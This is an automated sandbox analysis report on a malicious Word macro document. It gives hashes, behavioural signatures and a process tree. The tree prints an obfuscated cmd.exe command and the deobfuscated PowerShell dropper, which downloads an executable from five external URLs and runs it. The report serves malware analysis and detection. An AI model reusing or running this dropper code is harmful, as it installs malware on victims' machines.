3eee95e3aa76b5a69f0af4b8f2be5ca3dc1ad9a5a3801cb52ab6c1c3af2b4bdb

Analysis

max time kernel
127s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
05/05/2024, 10:28

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General

Target

17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc
Size

114KB
MD5

17416f7997c337602bdd1a62be41b54c
SHA1

f40cc56fab62e619fcecbda14e7bf6e40cdf104f
SHA256

3eee95e3aa76b5a69f0af4b8f2be5ca3dc1ad9a5a3801cb52ab6c1c3af2b4bdb
SHA512

27c946eabac63893bf930c99c74e7d27cbb8e6f3e60d527d66d4b5d08f00a41fedb7e28630740bfa6933bafb87d044fd46a8fe6abc0e28af91d3f9ff457541ce
SSDEEP

1536:EY9GPST/p0wPIHkwZ8HZOVMDDwUmqD2CufCFr6aEqQmCVnD32+1SWvySdtxN:ZF9RAE+KZycnFImCdvaktxN

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.deepwebeye.com/bIOkIze

exe.dropper

http://www.ensleyortho.com/ES14ezQtPA

exe.dropper

http://www.finetsolutions.com/6X5wMUi

exe.dropper

http://www.gicals.com/QveilV42wN

exe.dropper

http://www.getmyprospects.com/mQOFmMA

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4580	1300	cmd.exe	82

Blocklisted process makes network request 5 IoCs

flow	pid	Process
42	2744	powershell.exe
43	2744	powershell.exe
50	2744	powershell.exe
56	2744	powershell.exe
114	2744	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1300	WINWORD.EXE
1300	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1300	WINWORD.EXE
1300	WINWORD.EXE
1300	WINWORD.EXE
1300	WINWORD.EXE
1300	WINWORD.EXE
1300	WINWORD.EXE
1300	WINWORD.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1300 wrote to memory of 4580	1300	WINWORD.EXE	87
PID 1300 wrote to memory of 4580	1300	WINWORD.EXE	87
PID 4580 wrote to memory of 4124	4580	cmd.exe	89
PID 4580 wrote to memory of 4124	4580	cmd.exe	89
PID 4124 wrote to memory of 4640	4124	cmd.exe	96
PID 4124 wrote to memory of 4640	4124	cmd.exe	96
PID 4124 wrote to memory of 3480	4124	cmd.exe	97
PID 4124 wrote to memory of 3480	4124	cmd.exe	97
PID 3480 wrote to memory of 1812	3480	cmd.exe	98
PID 3480 wrote to memory of 1812	3480	cmd.exe	98
PID 3480 wrote to memory of 2792	3480	cmd.exe	99
PID 3480 wrote to memory of 2792	3480	cmd.exe	99
PID 2792 wrote to memory of 2744	2792	cmd.exe	100
PID 2792 wrote to memory of 2744	2792	cmd.exe	100

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1300
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set mQB=;'pibic'=pjjonh$}}{hctac}};kaerb;'shvaw'=tclplmw$;hjqcji$ metI-ekovnI{ )00004 eg- htgnel.)hjqcji$ metI-teG(( fI;'zopiwwz'=diiszp$;)hjqcji$ ,knnkhi$(eliFdaolnwoD.jpjac${yrt{)khuador$ ni knnkhi$(hcaerof;'exe.'+mzhiz$+'\'+pmet:vne$=hjqcji$;'wizpjlv'=zfcizw$;'474' = mzhiz$;'cwzra'=hkalubr$;)'@'(tilpS.'AMmFOQm/moc.stcepsorpymteg.www//:ptth@Nw24VlievQ/moc.slacig.www//:ptth@iUMw5X6/moc.snoitulostenif.www//:ptth@APtQze41SE/moc.ohtroyelsne.www//:ptth@ezIkOIb/moc.eyebewpeed.www//:ptth'=khuador$;tneilCbeW.teN tcejbo-wen=jpjac$;'kuhrjr'=nwiljn$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %W in (589,-1,0)do set NAn0=!NAn0!!mQB:~%W,1!&&if %W lss 1 echo !NAn0:~-590!| FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd')DO %Y "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Windows\system32\cmd.exe
    CmD /V/C"set mQB=;'pibic'=pjjonh$}}{hctac}};kaerb;'shvaw'=tclplmw$;hjqcji$ metI-ekovnI{ )00004 eg- htgnel.)hjqcji$ metI-teG(( fI;'zopiwwz'=diiszp$;)hjqcji$ ,knnkhi$(eliFdaolnwoD.jpjac${yrt{)khuador$ ni knnkhi$(hcaerof;'exe.'+mzhiz$+'\'+pmet:vne$=hjqcji$;'wizpjlv'=zfcizw$;'474' = mzhiz$;'cwzra'=hkalubr$;)'@'(tilpS.'AMmFOQm/moc.stcepsorpymteg.www//:ptth@Nw24VlievQ/moc.slacig.www//:ptth@iUMw5X6/moc.snoitulostenif.www//:ptth@APtQze41SE/moc.ohtroyelsne.www//:ptth@ezIkOIb/moc.eyebewpeed.www//:ptth'=khuador$;tneilCbeW.teN tcejbo-wen=jpjac$;'kuhrjr'=nwiljn$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %W in (589,-1,0)do set NAn0=!NAn0!!mQB:~%W,1!&&if %W lss 1 echo !NAn0:~-590!| FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd')DO %Y "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $njliwn='rjrhuk';$cajpj=new-object Net.WebClient;$rodauhk='http://www.deepwebeye.com/bIOkIze@http://www.ensleyortho.com/ES14ezQtPA@http://www.finetsolutions.com/6X5wMUi@http://www.gicals.com/QveilV42wN@http://www.getmyprospects.com/mQOFmMA'.Split('@');$rbulakh='arzwc';$zihzm = '474';$wzicfz='vljpziw';$ijcqjh=$env:temp+'\'+$zihzm+'.exe';foreach($ihknnk in $rodauhk){try{$cajpj.DownloadFile($ihknnk, $ijcqjh);$pzsiid='zwwipoz';If ((Get-Item $ijcqjh).length -ge 40000) {Invoke-Item $ijcqjh;$wmlplct='wavhs';break;}}catch{}}$hnojjp='cibip';"
      4⤵
      PID:4640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd') DO %Y "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3480
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c assoc.cmd
        5⤵
        
        PID:1812
    - - C:\Windows\system32\cmd.exe
        
        cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2792
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $njliwn='rjrhuk';$cajpj=new-object Net.WebClient;$rodauhk='http://www.deepwebeye.com/bIOkIze@http://www.ensleyortho.com/ES14ezQtPA@http://www.finetsolutions.com/6X5wMUi@http://www.gicals.com/QveilV42wN@http://www.getmyprospects.com/mQOFmMA'.Split('@');$rbulakh='arzwc';$zihzm = '474';$wzicfz='vljpziw';$ijcqjh=$env:temp+'\'+$zihzm+'.exe';foreach($ihknnk in $rodauhk){try{$cajpj.DownloadFile($ihknnk, $ijcqjh);$pzsiid='zwwipoz';If ((Get-Item $ijcqjh).length -ge 40000) {Invoke-Item $ijcqjh;$wmlplct='wavhs';break;}}catch{}}$hnojjp='cibip';
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD836A.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rfldhftp.4yb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1300-34-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-18-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-5-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/1300-3-0x00007FF95E02D000-0x00007FF95E02E000-memory.dmp

Filesize
4KB

Download
memory/1300-7-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-8-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-9-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-6-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-10-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-11-0x00007FF91BFB0000-0x00007FF91BFC0000-memory.dmp

Filesize
64KB

Download
memory/1300-12-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-14-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-13-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-15-0x00007FF91BFB0000-0x00007FF91BFC0000-memory.dmp

Filesize
64KB

Download
memory/1300-16-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-577-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-17-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-20-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-19-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-28-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-29-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-35-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-4-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/1300-0-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/1300-485-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-113-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-111-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-132-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-136-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-135-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-2-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/1300-134-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-133-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-131-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-353-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-456-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-457-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-455-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-1-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/1300-549-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-550-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

Filesize
2.0MB

Download
memory/1300-576-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/1300-575-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/1300-574-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/1300-573-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

Filesize
64KB

Download
memory/2744-45-0x0000017D31E80000-0x0000017D31EA2000-memory.dmp

Filesize
136KB

Download